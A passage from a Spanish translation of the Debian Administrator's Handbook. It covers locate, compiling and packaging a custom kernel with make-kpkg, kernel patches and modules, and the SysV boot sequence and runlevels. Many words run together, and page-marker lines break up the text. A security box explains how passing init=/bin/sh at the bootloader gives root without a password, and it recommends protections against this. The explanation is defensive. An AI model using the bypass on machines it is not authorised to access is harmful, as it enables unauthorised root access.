El programa locate puede encontrar laubicación de un archivo cuando sóloconozca parte del nombre. Devuelve unresultado casi instantáneamente ya queconsulta una base de datos quealmacena la ubicación de todos losarchivos del sistema; se actualiza estabase de datos diariamente conupdatedb (ejecutada por el script/etc/cron.daily/find).

Dado que cualquiera puede utilizarlocate, es importante asegurarse que nose revelen archivos ocultos al usuario.Es por esto que updatedb ejecuta conlos permisos limitados del usuarionobody, un patrón clásico en sistemasUnix para este tipo de tareas. Lo que es

Page 821: El Libro Del Administrador de Debian - Raphael Hertzog

más, el administrador puede configurarpara que se eviten algunos directoriosagregándolos a la variablePRUNEDPATHS en el archivo/etc/updatedb.conf.

El paquete slocate va inclusive másallá, reemplazando el programa locatecon una versión más segura que sólodevuelve el nombre de los archivos alos que puede acceder el usuario que loutilice.

Page 822: El Libro Del Administrador de Debian - Raphael Hertzog

8.10. Compilaciónde un núcleoEl núcleo que provee Debian incluye lamayor cantidad de funcionalidadposible así como también la mayorcantidad de controladores para cubrir elespectro más amplio deconfiguraciones de hardware. Es poresto que algunos usuarios prefierencompilar el núcleo para incluirsólamente lo que necesitenespecíficamente. Hay dos razones paraesta elección. Primero, podríaoptimizar el consumo de memoria yaque el código del núcleo, aún cuando

Page 823: El Libro Del Administrador de Debian - Raphael Hertzog

no sea utilizado, ocupa memoria pornada (y nunca es «bajado» al espaciode swap ya que utiliza RAM real) loque puede disminuir el rendimientogeneral del sistema. Un núcleocompilado localmente también puedelimitar el riesgo de problemas deseguridad ya que sólo se compila yejecuta una fracción del código delnúcleo.

NOTA Actualizaciones de seguridad

Si decide compilar su propio núcleo, debeaceptar las consecuencias: Debian nopuede asegurar actualizaciones deseguridad para su núcleo personalizado.Al matener el núcleo que provee Debianse beneficia de las actualizaciones

Page 824: El Libro Del Administrador de Debian - Raphael Hertzog

preparadas por el equipo de seguridad delProyecto Debian.

Necesita además recompilar el núcleosi desea utilizar ciertas funcionalidadesque sólo están disponibles comoparches (y no están incluidas en laversión estándar del núcleo).

8.10.1. Introducción yprerequisitosDebian administra el núcleo como unpaquete, que no es la forma tradicionalen la que se compilan e instalannúcleos. Por lo tanto, se desarrollaron

Page 825: El Libro Del Administrador de Debian - Raphael Hertzog

herramientas específicas para estepropósito. Permiten crear fácilmenteun paquete Debian desde la fuente delnúcleo Linux, posiblemente agregandoparches en el proceso. Debido a que elnúcleo se mantiene bajo el control delsistema de paquetes puede sereliminado limpiamente o desplegadoen varias máquinas. Lo que es más, losscripts asociados con estos paquetesautomatizan la interacción con elgestor de arranque.

Para compilar un núcleo Linux como lohace Debian necesitará utilizar lasherramientas incluidas en el paquetekernel-package. Lo que es más, el pasode configuración para el núcleo

Page 826: El Libro Del Administrador de Debian - Raphael Hertzog

necesita el paquete libncurses5-dev.Finalmente, el paquete fakeroot lepermitirá crear el paquete Debian sinutilizar permisos de administrador.

8.10.2. Obtención delas fuentesComo cualquier cosa que pueda ser útilen un sistema Debian, las fuentes delnúcleo Linux están disponibles en unpaquete. Para obtenerlas simplementeinstale el paquete linux-source-versión. Puede ver lasdiferentes versiones del núcleoempaquetados por Debian con apt-

Page 827: El Libro Del Administrador de Debian - Raphael Hertzog

cache search ^linux-source. La últimaversión está disponible en ladistribución Unstable: puedeconseguirlas sin demasiado riesgo(especialmente si tiene configuradoAPT según las instrucciones de laSection 6.2.6, “Trabajar con variasdistribuciones”). Sepa que el códigofuente que contienen estos paquetes nocorresponde exactamente con lopublicado por Linus Torvalds y losdesarrolladores del núcleo; como todaslas distribuciones, Debian aplica unaserie de parches. Estas modificacionesincluyen parches (algunos relevantespara problemas de seguridad) que estánesperando ser incluidos en la próximaversión del núcleo así como también

Page 828: El Libro Del Administrador de Debian - Raphael Hertzog

algunas funcionalidades que sonespecíficas a Debian (como cramfs, unsistema de archivos específico para laimagen initrd).

CULTURA Nombre de los paquetes denúcleo

Históricamente los paquetes quecontenían el núcleo Debian se llamabankernel-image-*, pero todos contenían enrealidad un núcleo Linux. Dado queDebian trabaja con otros núcleos (Hurd oFreeBSD por ejemplo) esto era confuso.Hoy en día los paquetes se llaman «linux-image-*»; los paquetes kernel-image-*son ahora sólo cascarones vacíos y suúnico propósito es facilitar la transición.Los paquetes fuente para el núcleo Linuxtambién se llaman «linux-source-*». En

Page 829: El Libro Del Administrador de Debian - Raphael Hertzog

lo que respecta a paquetes con parches, latransición aún está en progreso por lo quepuede encontrar todavía tanto paqueteslinux-patch-* como también kernel-patch-*. kernel-package continúa siendokernel-package ya que no es específicode Linux (puede, por ejemplo, prepararpaquetes del núcleo FreeBSD).

El resto de esta sección se concentra enla versión 2.6.32 del núcleo Linux perolos ejemplo pueden, obviamente,adaptarse a la versión particular delnúcleo que desee.

Asumimos que instaló el paquetelinux-source-2.6.32. Contiene/usr/src/linux-source-

Page 830: El Libro Del Administrador de Debian - Raphael Hertzog

2.6.32.tar.bz2, un compendiocomprimido de las fuentes del núcleo.Debe extraer estos archivos en unnuevo directorio (no directamente bajo/usr/src/ ya que no necesita permisosespeciales para compilar un núcleoLinux): ~/kernel/ es apropiado.

$ mkdir ~/kernel; cd ~/kernel

$ tar -xjf /usr/src/linux-source-2.6.32.tar.bz2

CULTURA Ubicación de las fuentes delnúcleo

Tradicionalmente, las fuentes del núcleoLinux estarían ubicadas en/usr/src/linux/ lo que necesitaríapermisos de root para compilarlo. Sinembargo, se debe evitar trabajar con

Page 831: El Libro Del Administrador de Debian - Raphael Hertzog

permisos de administración cuando no esnecesario. Existe un grupo src quepermite a sus miembros trabajar en estedirectorio, pero debe evitar trabajar en/usr/src/ de todas formas. Al mantenerlas fuentes del núcleo en un directoriopersonal obtiene seguridad en todoslados: no existirán archivos en /usr/ajenos al sistema de paquetes y no hayriesgos de despistar a los programas queleen /usr/src/linux al intentar conseguirinformación sobre el núcleo utilizado.

8.10.3. Configuracióndel núcleoEl siguiente paso consiste en

Page 832: El Libro Del Administrador de Debian - Raphael Hertzog

configurar el núcleo según susnecesidades. El procedimiento exactodepende de los objetivos.

Al recompilar una versión más recientedel núcleo (posiblemente con un parcheadicional), probablemente mantenga laconfiguración tan parecida a lapropuesta por Debian como le seaposible. En este caso, y en lugar dereconfigurar todo desde cero, essuficiente copiar el archivo/boot/config-versión (la versión esla del núcleo utilizado actualmente,que puede encontrarse con uname -r)en un archivo .config en el directorioque contenga las fuentes del núcleo.

Page 833: El Libro Del Administrador de Debian - Raphael Hertzog

$ cp /boot/config-2.6.32-5-686 ~/kernel/linux-source-2.6.32/.config

A menos que necesite cambiar laconfiguración, puede parar aquí ycontinuar en la próxima sección. Si,por el otro lado, necesita cambiarla o sidecide reconfigurar todo desde cero,debe tomarse el tiempo de configurarsu núcleo. Hay varias interfacesdedicadas en el directorio de fuentesdel núcleo que puede utilizarejecutando make objetivo dondeobjetivo es uno de los valoresdescriptos a continuación.

make menuconfig compila y ejecutauna interfaz en modo texto (aquí esdonde necesita el paquete libncurses5-dev) que permite navegar entre las

Page 834: El Libro Del Administrador de Debian - Raphael Hertzog

opciones disponibles en una estructurajerárquica. Pulsar la tecla Espaciocambia el valor de la opciónseleccionada y Enter valida el botónseleccionado al pie de la pantalla;Seleccionar vuelve al submenúseleccionado; Salir cierra la pantallaactual y vuelve un paso atrás en lajerarquía; Ayuda mostrará informaciónmás detallada sobre el comportamientode la opción seleccionada. Las flechasle permiten moverse en la lista deopciones y botones. Para salir delprograma de configuración, seleccioneSalir del menú principal. El programaluego ofrece guardar los cambios querealizó; acéptelos si está satisfecho consus selecciones.

Page 835: El Libro Del Administrador de Debian - Raphael Hertzog

Otras interfaces tienen funcionalidadessimilares pero trabajan con interfacesgráficas más modernas; como makexconfig que utiliza una interfaz gráficaQt y make gconfig que utiliza GTK+.La primera necesita el paquete libqt3-mt-dev mientras que la última dependede los paquetes libglade2-dev ylibgtk2.0-dev.

El programa make-kpkg, presentadoen el próximo párrafo, ejecuta makeoldconfig automáticamente paraasegurar la presencia de unaconfiguración del núcleo. Este métodode configuración simplemente reutilizalas opciones guardadas en el archivo.config. Si no existe dicho archivo, se

Page 836: El Libro Del Administrador de Debian - Raphael Hertzog

comporta como make config, unainterfaz de texto que hace todas laspreguntas (cientos de ellas) de a una ala vez. Si el archivo .config ya existepero no menciona todas las opcionesexistentes entonces este método sólohará las preguntas para las que elarchivo no tiene una respuestaguardada.

SUGERENCIA make-kpkg --config

Puede indicarle a make-kpkg que utiliceun método de configuración distinto amake oldconfig proveyendo el objetivo(menuconfig, xconfig o gconfig) en lainvocación de make-kpkg con la opción --config.

Page 837: El Libro Del Administrador de Debian - Raphael Hertzog

8.10.4. Compilación ycreación del paquete

NOTA Limpieza antes de recompilar

Si ya compiló una vez en el directorio ydesea recompilar con nuevas fuentes,debe ejecutar fakeroot make-kpkg clean.Además, esto permitirá generar unpaquete con un nuevo nombre (diferenteconfiguración de --append-to-version).

SUGERENCIA Cabeceras del paquetedel núcleo

make-kpkg utiliza información contenidaen el archivo /etc/kernel-pkg.conf para

Page 838: El Libro Del Administrador de Debian - Raphael Hertzog

generar las cabeceras del paquete Debiandel núcleo. Se recomienda editar estearchivo con información correcta si deseapublicar su paquete del núcleo.

Una vez que está lista la configuracióndel núcleo, el programa make-kpkgprovisto por Debian compila el núcleoy luego genera el paquete Debiancorrespondiente (o más de uno). De lamisma forma que make, make-kpkgtoma como parámetro el nombre delobjetivo a ejecutar: kernel-imagegenera un paquete compilado delnúcleo, kernel-doc un paquete quecontiene la documentación incluida conel núcleo, kernel-headers un paquetede los archivos de cabeceras del núcleo

Page 839: El Libro Del Administrador de Debian - Raphael Hertzog

(archivos .h para el núcleo en eldirectorio include/ lo que es útil parala compilación de algunos módulosexternos) y kernel-source crea unpaquete que contiene las fuentes delnúcleo.

make-kpkg también acepta variasopciones: --append-to-versionsufijo agrega sufijo al nombre delnúcleo; el sufijo también se incluye enel nombre del paquete. --revisionrevisión define el número de versióndel paquete generado. Debian utilizaciertos sufijos para identificar ciertosnúcleos estándar, compilados para unprocesador específico o con ciertasopciones (-486, -686, -686-bigmem, -

Page 840: El Libro Del Administrador de Debian - Raphael Hertzog

amd64, -vserver-686, -vserver-686-bigmem, -openvz-686, -xen-686). Esmejor evitar estos sufijos para paqueteslocales para que pueda diferenciarlosfácilmente de los paquetes oficialespublicados por el proyecto Debian.

El programa make-kpkg realizaacciones normalmente restringidas alusuario root al crear el paquete Debian;sin embargo, se lo puede engañar paraque funcione bajo la identidad de unusuario normal con fakeroot (revise elrecuadro HERRAMIENTA fakeroot).

$ fakeroot make-kpkg --append-to-version -falcot --revision 1 --initrd kernel-image

[...]

$ ls ../*.deb

Page 841: El Libro Del Administrador de Debian - Raphael Hertzog

../linux-image-2.6.32-falcot_1_i386.deb

Como puede ver, se crea el paquete conel nombre «linux-image-2.6.32-falcot_1_i386.deb».

8.10.5. Compilación demódulos externosSe mantienen algunos módulos fueradel núcleo Linux oficial. Parautilizarlos debe compilarlos junto alnúcleo correspondiente. Debian proveealgunos módulos de terceros comunesen paquetes dedicados: lustre-sourcepara el sistema de archivos Lustre, qc-usb-source para los controladores de

Page 842: El Libro Del Administrador de Debian - Raphael Hertzog

algunas cámaras web USB (LogitechQuickCam Express), etc.

Estos paquetes externos son muchos yvariados y no los enumeraremos todosaquí; puede limitar el campo debúsqueda con apt-cache searchsource$. Sin embargo, una listacompleta no es muy útil ya que no hayuna razón particular para compilarmódulos externos a menos que sepaque los necesita. En estos casos, ladocumentación del dispositivotípicamente detallará el o los módulosespecíficos que necesita para funcionarbajo Linux.

Por ejemplo, veamos el paquete qc-

Page 843: El Libro Del Administrador de Debian - Raphael Hertzog

usb-source: luego de la instalación, sealmacena un .tar.gz con las fuentesdel módulo en /usr/src/. Debeextraer estas fuentes al directorio detrabajo:

$ cd ~/kernel/

$ tar xjf /usr/src/qc-usb.tar.bz2

$ ls modules/

qc-usb

NOTA Guarde la configuración

Al utilizar make-kpkg modules-image esimportante utilizar la mismaconfiguración --append-to-versionutilizada al compilar el núcleo(probablemente con make-kpkg kernel-image) ya que este valor afecta el nombredel directorio en el que se instalan los

Page 844: El Libro Del Administrador de Debian - Raphael Hertzog

módulos que debe corresponder con laversión del núcleo.

Sepa que también debe ejecutar make-kpkg desde el directorio de las fuentes delnúcleo, aún cuando compile módulosexternos ubicados en otros directorios.

Las fuentes del módulo ahora estánubicadas en el directorio~/kernel/modules/qc-usb/. Paracompilar estos módulos y crear unpaquete Debian ejecutamos make-kpkg con el objetivo modules-image eindicamos la ubicación de los módulosa través de la variable de entornoMODULE_LOC (sin esta variable utiliza/usr/src/modules que no funcionará

Page 845: El Libro Del Administrador de Debian - Raphael Hertzog

en nuestro caso). De formapredeterminada, intenta crear lospaquetes para todos los módulosexternos que fueron descomprimidosen esta ubicación. La opción --added-modules le permite indicar losmódulos externos a compilar. Paraincluir más de uno, sepárelos con unacoma.

$ export MODULE_LOC=~/kernel/modules

$ cd ~/kernel/linux-source-2.6.32

$ fakeroot make-kpkg --append-to-version -falcot modules-image

[...]

Module /home/roland/kernel/modules/qc-usb processed fine

$ ls ../*.deb

../linux-image-2.6.32-falcot_1_i386.deb

../qc-usb-modules-2.6.32-falcot_0.6.6-7+1_i386.deb

Page 846: El Libro Del Administrador de Debian - Raphael Hertzog

SUGERENCIA Automatización delproceso

Puede automatizar el proceso completocon module-assistant. Este paquete fuediseñado específicamente para instalar lasherramientas y paquetes necesarios,compilar un módulo externo e instalarlo.Por lo tanto, la orden m-a a-i qc-usb-source compila el controlador para elnúcleo actual y lo instala al mismotiempo.

El siguiente paso en automatización esdkms, que automatiza el proceso desde elmomento en que es instalado; secompilarán automáticamente, paracualquier núcleo (o núcleos) actualmenteinstalados, los módulos que lo utilizan(los paquetes *.dkms) en el momento deinstalación; DKMS también tiene en

Page 847: El Libro Del Administrador de Debian - Raphael Hertzog

cuenta la instalación de nuevos núcleos,sus actualizaciones y la eliminación demódulos obsoletos al momento deeliminar el paquete de un núcleo. Estesistema es más reciente (no existía enLenny) y aún no está generalizado, peroalgunos módulos ya lo utilizan. Porejemplo, simplemente instalar el paquetevirtualbox-ose-dkms asegura que estarándisponibles para todos los núcleosinstalados los módulos necesarios para elsistema de virtualización VirtualBox sinnecesidad de intervención manual. Esnecesario, sin embargo, instalar elpaquete linux-headers-* que correspondeal núcleo instalado. La forma más sencillade realizarlo es instalar el metapaquetecorrespondiente; por ejemplo, si utilizalinux-images-2.6-686 instalaría linux-headers-2.6-686.

Page 848: El Libro Del Administrador de Debian - Raphael Hertzog

8.10.6. Aplicación deun parche al núcleoAlgunas funcionalidades no estánincluidas en el núcleo estándar debidoa falta de madurez o algún desacuerdoentre el desarrollador del código fuentey los encargados del núcleo. Dichasfuncionalidades pueden ser distribuidascomo parches que cualquiera puedeaplicar a las fuentes del núcleo.

Debian distribuye algunos de estosparches en paquetes linux-patch-* okernel-patch-* (por ejemplo, linux-patch-grsecurity2 que ajusta algunas delas políticas de seguridad del núcleo).

Page 849: El Libro Del Administrador de Debian - Raphael Hertzog

Estos paquetes instalan archivos en eldirectorio /usr/src/kernel-patches/.

Para aplicar uno o más de estos parchesinstalados, utilice el programa patchen el directorio con las fuentes y luegoinicie la compilación del núcleo comoya describimos.

$ cd ~/kernel/linux-source-2.6.32

$ fakeroot make-kpkg clean

$ zcat /usr/src/kernel-patches/diffs/grsecurity2/grsecurity-2.1.14-2.6.32.13-201005151340.patch.gz | patch -p1

$ fakeroot make-kpkg --append-to-version -grsec --revision 1 --initrd kernel-image

$ ls ../*.deb

../linux-image-2.6.32-falcot_1_i386.deb

../qc-usb-modules-2.6.32-falcot_0.6.6-7+1_i386.deb

../linux-image-2.6.32-grsec_1_i386.deb

Page 850: El Libro Del Administrador de Debian - Raphael Hertzog

NOTA make-kpkg --added-patches

Hasta Lenny, make-kpkg podía aplicaruno o más parches por su cuenta durantela compilación del núcleo, lo que permitíareemplazar, aplicar y quitar el parchemanualmente con una opción (en nuestroejemplo --added-patches grsecurity2).Esta funcionalidad fue eliminada de laversión actual en Squeeze ya que erademasiado frágil frente a la inmensavariedad de situaciones posibles. En loscasos simples con sólo un parche, puedeaplicar el parche manualmente; parasituaciones que involucrancombinaciones complejas de parches espreferible utilizar un sistema deseguimiento de versiones como Git quefacilitan la tarea (especialmente ya quelos autores generalmente distribuyen susparches de esta forma).

Page 851: El Libro Del Administrador de Debian - Raphael Hertzog

Sepa que un parche dado nonecesariamente funcionará con todaversión del núcleo; es posible quepatch falle al aplicarlo en las fuentesdel núcleo. Se mostrará un mensaje deerror que provee algunos detalles delfallo; en este caso, revise ladocumentación disponible en elpaquete Debian del parche (en eldirectorio /usr/share/doc/linux-patch-*/). En la mayoría de los casos,el desarrollador indica para quéversiones del núcleo está creado elparche.

Page 852: El Libro Del Administrador de Debian - Raphael Hertzog

8.11. Instalaciónde un núcleo

8.11.1. Característicasde un paquete Debiandel núcleo

YENDO MÁS ALLÁ Configuracionesespeciales

Esta sección discute el comportamientopredeterminado de un paquete Debian delnúcleo, pero puede configurar todo con elarchivo /etc/kernel-img.conf. Para saber

Page 853: El Libro Del Administrador de Debian - Raphael Hertzog

más al respecto, consulte la página demanual asociada: kernel-img.conf(5)

Un paquete Debian del núcleo instala laimagen del núcleo (vmlinuz-versión),su configuración (config-versión) ysu tabla de símbolos(System.map-versión) en /boot/. Latabla de símbolos ayuda a losdesarrolladores a entender elsignificado de un mensaje de error delnúcleo; sin ella, los «oops» del núcleo(un «oops» es el equivalente del núcleode un fallo de segmento en programasen espacio de usuario, en otraspalabras, los mensajes generados luegode desreferenciar un puntero de forma

Page 854: El Libro Del Administrador de Debian - Raphael Hertzog

inválida) sólo contienen direcciones dememoria numéricas, que esinformación inútil sin la tabla queenlaza estas direcciones con símbolos ynombres de función. Se instalan losmódulos en el directorio/lib/modules/versión/.

Los scripts de configuración delpaquete generan automáticamente unaimagen initrd, que es un minisistemadiseñado para ser cargado en memoria(de allí el nombre, que significa «discoram de inicio»: «init ramdisk») por elgestor de arranque y utilizado por elnúcleo Linux sólo para cargar losmódulos necesarios para acceder a losdispositivos que contienen el sistema

Page 855: El Libro Del Administrador de Debian - Raphael Hertzog

Debian completo (por ejemplo, loscontroladores de discos IDE).Finalmente, los scripts postinstalaciónactualizan los enlaces simbólicos/vmlinuz, /vmlinux.old,/initrd.img y /initrd.img.old paraque apunten a los dos últimos núcleosinstalados, respectivamente, así comotambién a las imágenes initrdcorrespondientes.

lilo puede trabajar con estos enlacessimbólicos utilizando automáticamenteel último núcleo instalado al mismotiempo que le permite a la máquinainiciar el núcleo anterior si el últimoinstalado no funciona. Esto necesita,sin embargo, que se ejecute lilo luego

Page 856: El Libro Del Administrador de Debian - Raphael Hertzog

de cada instalación de un núcleo. Estopuede automatizarse configurandodo_bootloader = yes en el archivo/etc/kernel-img.conf.

En la mayoría de los casos, grub serásu gestor de arranque y laconfiguración predeterminadaejecutará update-grub luego de cadainstalación o eliminación de un núcleopara actualizar el archivo/boot/grub/grub.cfg (o/boot/grub/menu.lst con GRUBlegacy). Esto permite que se muestrentodos los núcleos instalados (ydisponibles) en el menú GRUB duranteel arranque.

Page 857: El Libro Del Administrador de Debian - Raphael Hertzog

Example 8.7. Archivo deconfiguración del paquete del núcleo

do_symlinks = yes

relative_links = yes

do_bootloader = no

do_bootfloppy = no

do_initrd = yes

link_in_boot = no

postinst_hook = update-grub

postrm_hook = update-grub

8.11.2. Instalación condpkgUtilizar apt-get es tan conveniente quehace fácil olvidar las herramientas debajo nivel, pero la forma más sencilla

Page 858: El Libro Del Administrador de Debian - Raphael Hertzog

de instalar un núcleo compilado esejecutar algo como dpkg -ipaquete.deb, donde paquete.deb es elnombre de un paquete linux-imagecomo linux-image-2.6.32-falcot_1_i386.deb.

Los pasos de configuración descriptosen este capítulos son básicos y sirventanto para un servidor como para unaestación de trabajo y pueden serduplicados masivamente de formassemiautomáticas. Sin embargo, no sonsuficientes por sí mismas para proveerun sistema completamenteconfigurado. Todavía necesita algunaspiezas de configuración, comenzandocon programas de bajo nivel conocidas

Page 859: El Libro Del Administrador de Debian - Raphael Hertzog

como «servicios Unix».

Page 860: El Libro Del Administrador de Debian - Raphael Hertzog

Chapter 9. ServiciosUnixEste capítulo cubre un número básicode servicios que son comunes a variossistemas Unix. Todos losadministradores deberían estarfamiliarizados con ellos.

9.1. Arranque delsistemaCuando inicia el equipo, los muchos

Page 861: El Libro Del Administrador de Debian - Raphael Hertzog

mensajes que aparecen en la pantallamuestran varias inicializaciones yconfiguraciones automáticas que seestán ejecutando. Algunas vecesdeseará alterar ligeramente cómofunciona esta etapa, lo que significaque necesitará entenderlas bien. Éste esel propósito de esta sección.

Primero el BIOS toma el control delequipo, detecta los discos, carga elregistro maestro de arranque («MBR»)y ejecuta el gestor de arranque. Estetoma el control, busca el núcleo en eldisco, lo carga y lo ejecuta. Luego seinicializa el núcleo y empieza labúsqueda y montaje de la partición quecontiene el sistema de archivos raíz y

Page 862: El Libro Del Administrador de Debian - Raphael Hertzog

finalmente ejecuta el primer programa— init. Frecuentemente esta «particiónraíz» y su init están, de hecho,ubicados en un archivo virtual delsistema que sólo existe en RAM (deaquí el nombre «initramfs»,anteriormente llamado «initrd» por«disco RAM de inicialización»:«initialization RAM disk»). El gestorde arranque carga este sistema dearchivos en memoria, muchas vecesdesde un archivo en el disco duro odesde la red. Contiene sólo lo mínimorequerido por el núcleo para cargar el«verdadero» sistema de archivos raíz:estos pueden ser módulos decontroladores para el disco duro u otrosdispositivos sin los cuales el sistema

Page 863: El Libro Del Administrador de Debian - Raphael Hertzog

no puede iniciar o, másfrecuentemente, scripts deinicialización y módulos paraensamblar arreglos RAID, abrirparticiones cifradas, activar volúmenesLVM, etc. Una vez que se montó lapartición raíz el initramfs entrega elcontrol al verdadero init y la máquinaregresa al proceso de inicio estándar.

CASO ESPECÍFICO Arranque desde lared

En algunas situaciones, se puedeconfigurar el BIOS para que no ejecute elMBR sino que busque su equivalente enla red, haciendo posible construir equipossin disco duro o que son completamentereinstalados en cada arranque. Esta

Page 864: El Libro Del Administrador de Debian - Raphael Hertzog

opción no está disponible en todo elhardware y generalmente necesita unacombinación apropiada de BIOS y placade red.

El arranque desde la red puede utilizarsepara ejecutar debian-installer o FAI(revise la Section 4.1, “Métodos deinstalación”).

VOLVER A LOS CIMIENTOS Elproceso, una instancia de un programa

Un proceso es la representación enmemoria de un programa en ejecución.Incluye toda la información necesariapara la ejecución apropiada del programa(el código en sí pero también los datosque tiene en memoria, la lista de archivosque ha abierto, las conexiones de red que

Page 865: El Libro Del Administrador de Debian - Raphael Hertzog

ha establecido, etc.). Un único programapuede ser instanciado en varios procesosinclusive bajo el mismo ID de usuario.

Init pone en marcha varios procesos,siguiendo instrucciones del archivo/etc/inittab. El primer programaejecutado (el cual corresponde al pasosysinit) es /etc/init.d/rcS, un script queejecuta todos los programas en eldirectorio /etc/rcS.d/.

Entre estos encontrará sucesivamenteprogramas a cargo de:

configurar el teclado de laconsola;cargar controladores: el núcleo

Page 866: El Libro Del Administrador de Debian - Raphael Hertzog

carga por sí mismo la mayoría delos módulos a medida que elhardware es detectado; loscontroladores extras se carganautomáticamente cuando losmódulos correspondientes sonlistados en /etc/modules;verificar la integridad de lossistemas de archivos;montar particiones locales;configurar la red;montar sistemas de archivos dered (NFS).

SEGURIDAD Usar una consola comoinit para obtener derechos de root

Por convención el primer procesoiniciado es el programa init. Sin embargo,

Page 867: El Libro Del Administrador de Debian - Raphael Hertzog

es posible proveer una opción init alnúcleo indicando un programa diferente.

Cualquier persona con acceso al equipopuede presionar el botón Reset y asíreiniciarla. Entonces es posible, en elprompt del gestor de arranque, pasar laopción init=/bin/sh al núcleo paraobtener acceso root sin conocer lacontraseña del administrador.

Para prevenirlo puede proteger el gestorde arranque con una contraseña. Tambiénpodría pensar en proteger el acceso alBIOS (casi siempre tiene disponible unmecanismo de protección por contraseña)sin el cual un intruso malicioso podríainiciar la máquina desde un medioremovible que contiene su propio sistemaLinux, el cual podría utilizar para teneracceso a los datos del disco duro del

Page 868: El Libro Del Administrador de Debian - Raphael Hertzog

equipo.

Finalmente, tenga en cuenta que lamayoría de los BIOS tiene disponible unacontraseña genérica. Inicialmentedestinado a resolver los problemas dequienes han olvidado su contraseña, éstasahora son públicas y están disponibles enInternet (revíselo por su cuenta buscando«contraseñas genéricas de BIOS» enalgún motor de búsqueda). Todas estasprotecciones impedirán el acceso noautorizado a la máquina sin poder evitarlopor completo. No existe una forma segurade proteger un equipo si el atacante puedeacceder a él físicamente; podría quitar eldisco duro para conectarlo a un equipobajo su control de cualquier manera, oaún robar la máquina completa o borrar lamemoria del BIOS para eliminar lacontraseña…

Page 869: El Libro Del Administrador de Debian - Raphael Hertzog

VOLVER A LOS CIMIENTOS Módulos yopciones del núcleo

Los módulos del núcleo también tienenopciones que puede configurar agregandoalgunos archivos en /etc/modprobe.d/.Estas opciones se definen con directivascomo: options nombre-del-módulonombre-opción=valor-opción. Puedeespecficar varias opciones con una soladirectiva si es necesario.

Estos archivos de configuración estándestinados a modprobe — el programaque carga un módulo de núcleo con susdependencias (los módulos tambiénpueden llamar otros módulos). El paquetemodule-init-tools provee este programa.

Page 870: El Libro Del Administrador de Debian - Raphael Hertzog

Luego de esta etapa, init toma elcontrol e inicia los programasactivados en el nivel de ejecución(«runlevel») predeterminado(generalmente el nivel 2). Ejecuta/etc/init.d/rc 2, un script que iniciatodos los servicios enumerados en/etc/rc2.d/ y aquellos cuyosnombres comiencen con la letra «S».Los números de dos cifras que le siguefueron utilizados históricamente paradefinir el orden en el que se iniciaránlos servicios. En Squeeze, el sistema deinicio predeterminado utiliza insserv,que programa todo automáticamentebasándose en las dependencias de losscripts. Cada script de inicio, por lotanto, declar las condiciones a cumplir

Page 871: El Libro Del Administrador de Debian - Raphael Hertzog

para iniciar o detener el servicio (porejemplo, si debe iniciar antes o despuésde otro servicio); init luego los ejecutaen un orden que satisfaga estascondiciones. El enumerado estático delos scripts ya no se tiene en cuenta(pero sus nombres siempre debencomenzar con «S» seguidos de dosnúmeros y el nombre real del scriptutilizado para dependencias).Generalmente, se inician primero losservicios de base (como los registroscon rsyslogd o la asociación de puertoscon portmap) seguidos de los serviciosestándar y la interfaz gráfica (gdm).

Este sistema de inicio basado endependencias hace posible renumerar

Page 872: El Libro Del Administrador de Debian - Raphael Hertzog

automáticamente los scripts, lo quesería tediososo de hacer manualmentey limita el riesgo de error humano yaque se realiza la programación segúnlos parámetros indicados. Otrobeneficio es que se pueden iniciar losservicios en paralelo cuando sonindependientes entre ellos, lo cualpuede acelerar el proceso de inicio.

ALTERNATIVA Otros sistemas de inicio

Este libro describe el sistema de inicioutilizado de forma predeterminada enDebian (como es implementada en elpaquete sysvinit), la cual deriva y heredade «System V» de sistemas Unix, peroexisten otros.

Page 873: El Libro Del Administrador de Debian - Raphael Hertzog

En el System V original y en las versionesde Debian hasta Lenny, el orden deejecución de los scripts de inicializaciónestaba definido sólo por los nombres delos enlaces simbólicos /etc/rc*.d/S* (y/etc/rc*.d/K* durante el cierre). Puedereestablecer este comportamientoagregando CONCURRENCY=none al archivo/etc/default/rcS.

file-rc es otro sistema de inicio con unproceso muy simple. Mantiene elprincipio de niveles de ejecución peroreemplaza los directorios y enlacessimbólicos con un archivo deconfiguración que le indica a init losprocesos a iniciar y el orden en el quehacerlo

El reciente sistema upstart todavía no fueprobado perfectamente en Debian. Está

Page 874: El Libro Del Administrador de Debian - Raphael Hertzog

basado en eventos: los scripts de inicio nose ejecutan en un orden secuencial sinoen respuesta a eventos como lafinalización de otro script del quedepende. Este sistema, creado en Ubuntu,está presente en Debian Squeeze pero noes el predeterminado; sólo viene comoreemplazo para sysvinit y una de lastareas ejecutadas por upstart es ejecutarlos scripts escritos para sistemastradicionales, especialmente aquellos delpaquete sysv-rc.

Otra nueva alternativa es systemd, peroaún no tiene la madurez necesaria paraser parte de Squeeze. Su enfoque esopuesto a los sistemas anteriores; en lugarde ejecutar todos los serviciospreventivamente y tener que lidiar con elorden de los mismos, systemd inicia losservicios a pedido, de alguna forma

Page 875: El Libro Del Administrador de Debian - Raphael Hertzog

similar a inetd. Pero esto significa que elsistema de inicio necesita poder sabercómo se provee cada servicio (puede ser através de un zócalo, un sistema de archivou otros) y, por lo tanto, necesita pequeñasmodificaciones en estos servicios.

También existen otros sistemas y otrosmodos de operación, como runit, minit oinitng pero son relativamenteespecializados y poco difundidos.

init distingue varios niveles deejecución («runlevel») y puede cambiarde uno a otro ejecutando telinit nuevo-nivel. Inmediatamente, init ejecutanuevamente /etc/init.d/rc con el nuevonivel de ejecución. Luego, este scriptejecutará los servicios faltantes y

Page 876: El Libro Del Administrador de Debian - Raphael Hertzog

detendrá aquellos que ya no se desean.Para hacerlo, se refiere al contenido delarchivo /etc/rcX.d (donde Xrepresenta el nuevo nivel de ejecución).Los scripts cuyos nombres comienzancon «S» (por «start», iniciar) son losservicios a iniciar; aquellos cuyosnombres comienzan con «K» (por«kill», matar) son los servicios adetener. El script no inicia ningúnservicio que ya haya estado activo en elnivel de ejecución anterior.

De forma predeterminada, Debianutiliza cuatro niveles de ejecucióndiferentes:

Nivel 0: sólo se lo utiliza

Page 877: El Libro Del Administrador de Debian - Raphael Hertzog

temporalmente mientras se apagael equipo. Como tal, sólo contienescripts «K».Nivel 1: también conocido comomodo de usuario único,corresponde al sistema en mododegradado; sólo incluye serviciosbásicos y está destinado aoperaciones de mantenimientodonde no se desea la interaccióncon usuarios normales.Nivel 2: es el nivel paraoperaciones normales, lo queincluye servicios de red, unainterfaz gráfica, sesiones deusuario, etc.Nivel 6: similar a nivel 0, exceptoa que es utilizada durante la fase

Page 878: El Libro Del Administrador de Debian - Raphael Hertzog

de cierre que precede a unreinicio.

